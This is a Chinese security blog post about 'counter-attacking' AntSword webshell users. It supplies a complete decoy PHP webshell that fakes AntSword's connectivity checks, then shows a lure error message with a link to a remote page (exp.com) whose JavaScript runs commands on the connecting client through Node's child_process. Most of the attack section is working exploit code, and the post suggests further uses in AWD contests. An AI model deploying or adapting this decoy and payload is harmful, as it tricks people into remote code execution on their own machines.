端内钓鱼,反制蚁剑

  • A+
所属分类:安全文章

前言

这两天看到校长在搞蚁剑的反制,忙碌了两天整了两个插件的self-xss,虽然很是鸡肋不过也不怪他,蚁剑主程序确实不太有xss的可能性了。不过这勾起了群友们的兴趣,松鼠A师傅熬夜熬了一晚上,第二天给我说找到一个可能比较“鸡肋”的利用方式,我和他交流一番后觉得还是有很大可能性成功的,于是便有了此文。

0x01 整体思路

首先我们先需要知道蚁剑的一个特性。虚拟终端功能在某些特殊情况下会将一些标签转换成超链接。经过测试当遇到http/https协议头时会发生转换。比如:

端内钓鱼,反制蚁剑

这个链接点开打开的页面是以蚁剑内部的浏览器进行打开的,而我们知道蚁剑在实现上用了nodejs,那么看过之前反制goby的大概也明白了,就是通过打开的页面嵌入js来直接执行命令!好了,rce的方式有了,但是蚁剑又不是goby,怎么会有人在自己的webshell里点到别人的链接呢??这就到了设想场景的时候了,设想下面一个场景:

  1. jb小子日站爆目录
  2. 爆到一个shell.php
  3. jb小子一看就知道这是前人的一句话木马,操起蚁剑就想连
  4. 为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上
  5. 好了,jb小子连上了我们的恶意webshell,开启了蚁剑的终端
  6. 一打开终端看到报错,马上点击链接
  7. 渲染恶意页面JS————》RCE

OK,场景完美了,接下来的重点就是如何构造一个虚假的webshell让jb小子看到就想连就想rce。其次,我们是钓鱼。所以webshell不能有实际功能。webshell既要连接成功,又要不能执行功能。于是整体思路呼之欲出:

  1. 获取post过来的数据
  2. 通过正则判断特征,判断是哪一个数据包
  3. 如果是连通包则发送对应信息使其通过测试
  4. 如果是其他功能包,则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。
  5. 远程代码配置上线操作
我们直接先看看实现效果:


实际效果比想象中还要自然!下面开始看看怎么来制作这么一个钓鱼webshell吧。

0x02 开始分析构造

首先分析蚁剑的数据包 密码为111的测试webshell连通性请求包:

111[email protected]_set("display_errors""0");
@set_time_limit(0);
[email protected]_get("open_basedir");
if($opdir) {
 $oparr=preg_split("/\\|//",$opdir);
 $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
 $tmdir=".cc06e1b50e";
 @mkdir($tmdir);
 @chdir($tmdir);
 @ini_set("open_basedir","..");
 for ($i=0;$i<sizeof($oparr);$i++) {
  @chdir("..");
 }
 @ini_set("open_basedir","/");
 @rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
 return $out;
}
;
function asoutput() {
 $output=ob_get_contents();
 ob_end_clean();
 echo "c63f"."aa80";  //校验码一
 echo @asenc($output);
 echo "03b"."b509"//校验码二
}
ob_start();
try {
 $D=dirname($_SERVER["SCRIPT_FILENAME"]);
 if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
 $R="{$D} ";
 if(substr($D,0,1)!="/") {
  foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
 } else {
  $R.="/";
 }
 $R.=" ";
 $u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
 $s=($u)?$u["name"]:@get_current_user();
 $R.=php_uname();
 $R.=" {$s}";
 echo $R;
 ;
}
catch(Exception $e) {
 echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

返回包:

c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509

通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符,推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验,其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。

注意 :返回包中的每段信息中间以t分隔,而不是空格。这点在源码中可以找到,之前因为这个卡了好长时间。

端内钓鱼,反制蚁剑


最终写出伪造连通性的代码:

$ze="%echo "([^<]*?)."([^<]*?)";%si";  
preg_match($ze,$A,$B);
$c="$B[0]"//正则提取 echo "xxxx"."xxxx";
$key= str_replace(['"''.''echo'' '";"], "", $c); //替换输出干净的值xxxxxxxx
$txt='D:/phpstudy_pro/WWW'."t".'C:D:E:F:'."t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."t".'administrator';

echo "$key"."$txt";//拼接输出最终内容

开始第二部分,伪造当在虚拟终端中执行命令时蚁剑的数据包。请求包太大这里就不放了。我们要从请求包中提取出一个特征,用来和连通性包做出区分,从而达到更完美的伪装。这里我选用了

$ret=127;

返回包同样是校验码+内容+校验码,和连通包类似

所以代码是这个样子的

$ze="%echo "([^<]*?)."([^<]*?)";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"''.''echo'' '";"], "", $c);

    $payload='http://exp.com/index.html';//远程加载js的页面,代码在文后
    echo "$key".'ret=405'."n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//输出的钓鱼内容

然后加上判断。

端内钓鱼,反制蚁剑

点击连接调用蚁剑内置浏览器,开始愉快的算题

端内钓鱼,反制蚁剑

0x03 最终demo

webshell.php

<?php 
$A=urldecode(file_get_contents("php://input")); //获取post数据

$iscmd="%(.*)127;%si";

if (preg_match($iscmd,$A,$B)!=0) { //判断数据包类型
    
$ze="%echo "([^<]*?)."([^<]*?)";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"''.''echo'' '";"], "", $c); //取校验码

    $payload='http://exp.com/index.html'//远程调用地址
    echo "$key".'ret=405'."n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//这部分内容自由发挥,可以写成更有诱导性的内容
else {
    
    echo "no";
$ze="%echo "([^<]*?)."([^<]*?)";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"''.''echo'' '";"], "", $c);
$txt='D:/phpstudy_pro/WWW'."t".'C:D:E:F:'."t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."t".'administrator'//返回内容会缓存起来在其他功能里用到,也可以利用这个伪造系统类型

echo "$key"."$txt";

}
?>

加载的index.html

<script type="text/javascript">
 require('child_process').exec('calc',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

所有代码均在松鼠A师傅的github有下载:https://github.com/shiyeshu/antSword-UnrealWebshell

0x04 写在最后

这只是个简单的demo,功能部分其实可以多写几个,更加完美的伪装。返回连接那里返回一次内容后用户名就会发生变化,这点应该可以怎么解决掉。php代码写的也不够优雅,可以继续美化。这个思路还可以进一步拓展,比如:

  1. 拓展场景,比如ctf的awd里,谁不喜欢万人骑的webshell呢
  2. 留一个webshell,输入隐藏密码就可以链接成为正常的webshell,输入钓鱼密码就会进入钓鱼模式
  3. 终端侧的诱导理由可以进一步优化,就看想象力了




端内钓鱼,反制蚁剑


原文始发于微信公众号(赛博回忆录):端内钓鱼,反制蚁剑

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: